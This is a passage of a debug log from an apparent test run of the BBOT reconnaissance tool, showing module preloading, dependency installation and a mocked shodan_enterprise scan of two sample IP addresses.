modules.py:152 Preloading hunterio from cache +2026-02-27 21:48:12,538 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 21:48:12,540 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 21:48:12,541 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 21:48:12,541 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 21:48:12,542 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 21:48:12,543 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 21:48:12,544 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 21:48:12,545 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 21:48:12,546 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 21:48:12,547 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 21:48:12,548 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 21:48:12,549 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 21:48:12,550 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 21:48:12,551 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 21:48:12,552 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 21:48:12,553 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 21:48:12,554 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 21:48:12,555 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 21:48:12,556 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 21:48:12,558 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 21:48:12,559 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 21:48:12,560 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 21:48:12,561 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 21:48:12,562 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 21:48:12,563 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 21:48:12,564 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 21:48:12,565 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 21:48:12,566 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 21:48:12,567 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 21:48:12,568 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 21:48:12,569 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 21:48:12,570 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 21:48:12,571 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 21:48:12,573 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 21:48:12,573 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 21:48:12,574 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 21:48:12,575 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 21:48:12,576 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 21:48:12,577 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 21:48:12,578 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 21:48:12,579 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 21:48:12,580 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 21:48:12,582 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 21:48:12,583 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 21:48:12,583 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 21:48:12,584 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 21:48:12,585 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 21:48:12,586 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 21:48:12,587 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 21:48:12,588 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 21:48:12,590 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 21:48:12,591 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 21:48:12,595 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 21:48:12,597 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 21:48:12,600 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 21:48:12,601 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 21:48:12,603 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 21:48:12,604 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 21:48:12,606 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 21:48:12,607 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 21:48:12,608 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 21:48:12,609 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 21:48:12,610 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 21:48:12,611 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 21:48:12,612 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 21:48:12,614 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 21:48:12,615 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 21:48:12,616 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 21:48:12,616 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 21:48:12,617 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 21:48:12,796 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4639472128 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:48:12,796 [DEBUG] filelock _api.py:334 Lock 4639472128 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:48:12,798 [DEBUG] filelock _api.py:364 Attempting to release lock 4639472128 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:48:12,798 [DEBUG] filelock _api.py:367 Lock 4639472128 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:48:13,735 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 21:48:13,735 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 21:48:13,735 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 21:48:13,875 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 21:48:14,442 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 21:48:14,442 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 21:48:14,443 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 21:48:14,443 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 21:48:14,652 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 21:48:14,654 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 21:48:14,765 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 21:48:14,766 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 21:48:14,821 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 2 targets (2 in whitelist) +2026-02-27 21:48:14,824 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 21:48:14,824 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 21:48:15,259 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 21:48:15,260 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 21:48:17,486 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 21:48:17,487 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 21:48:17,487 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 21:48:19,555 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 21:48:19,558 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 21:48:19,566 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:48:19,567 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 21:48:19,567 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 21:48:19,567 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 21:48:19,573 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/cw5svhj8crdes4jzfovd +2026-02-27 21:48:20,795 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 21:48:20,796 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 21:48:20,796 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:48:20,797 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 21:48:20,797 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:48:20,797 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 21:48:20,797 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:48:20,798 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 21:48:20,799 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 21:48:20,955 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 21:48:20,955 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 21:48:20,955 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 21:48:20,957 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 21:48:20,958 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 21:48:20,958 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 21:48:20,958 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 21:48:20,959 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 21:48:20,960 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 21:48:20,960 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 21:48:20,961 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 21:48:20,961 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 21:48:20,961 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 21:48:20,961 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 21:48:20,961 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 21:48:20,962 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 21:48:20,962 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 21:48:20,962 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 21:48:20,963 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 21:48:20,963 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 21:48:20,963 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 21:48:20,964 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 21:48:20,964 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 21:48:20,964 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 21:48:20,964 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 21:48:20,965 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 21:48:20,965 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 21:48:20,965 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 21:48:20,965 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 21:48:20,965 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 21:48:20,966 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 21:48:20,966 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 21:48:20,966 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 21:48:20,967 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 21:48:20,967 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 21:48:20,967 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 21:48:20,967 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 21:48:20,967 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 21:48:20,968 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 21:48:20,968 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 21:48:20,968 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 21:48:20,968 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 21:48:20,969 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 21:48:20,969 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 21:48:20,969 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 21:48:21,145 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_2j3y4i2tg8 +2026-02-27 21:48:21,145 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 21:48:21,279 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-02-27 21:48:21,280 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 21:48:21,280 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 21:48:21,283 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-02-27 21:48:21,284 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-02-27 21:48:21,381 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check +2026-02-27 21:48:21,382 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-02-27 21:48:21,382 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target +2026-02-27 21:48:21,383 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 21:48:21,384 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check +2026-02-27 21:48:21,384 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-02-27 21:48:21,385 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 21:48:21,385 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 21:48:21,386 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target +2026-02-27 21:48:21,387 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 21:48:21,388 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 21:48:21,389 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:48:21,390 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 21:48:21,390 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 21:48:21,391 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:48:21,394 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 21:48:21,394 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:48:21,396 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 21:48:21,396 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:48:21,398 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:48:21,398 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:b622272765a5c34a0f803a1b58bb5135c35def5e', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 21:48:21,402 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 21:48:21,402 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 21:48:21,403 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 21:48:21,403 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 21:48:21,404 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 21:48:21,404 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded +2026-02-27 21:48:21,405 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded +2026-02-27 21:48:21,405 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 21:48:21,405 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 21:48:21,406 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET +2026-02-27 21:48:21,406 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 21:48:21,406 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 21:48:21,409 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 +2026-02-27 21:48:21,512 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/8.8.8.8?key=deadbeef HTTP/1.1" 200 None +2026-02-27 21:48:21,515 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 21:48:21,515 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded +2026-02-27 21:48:21,516 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded +2026-02-27 21:48:21,516 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 21:48:21,517 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET +2026-02-27 21:48:21,517 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 21:48:21,518 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 21:48:21,519 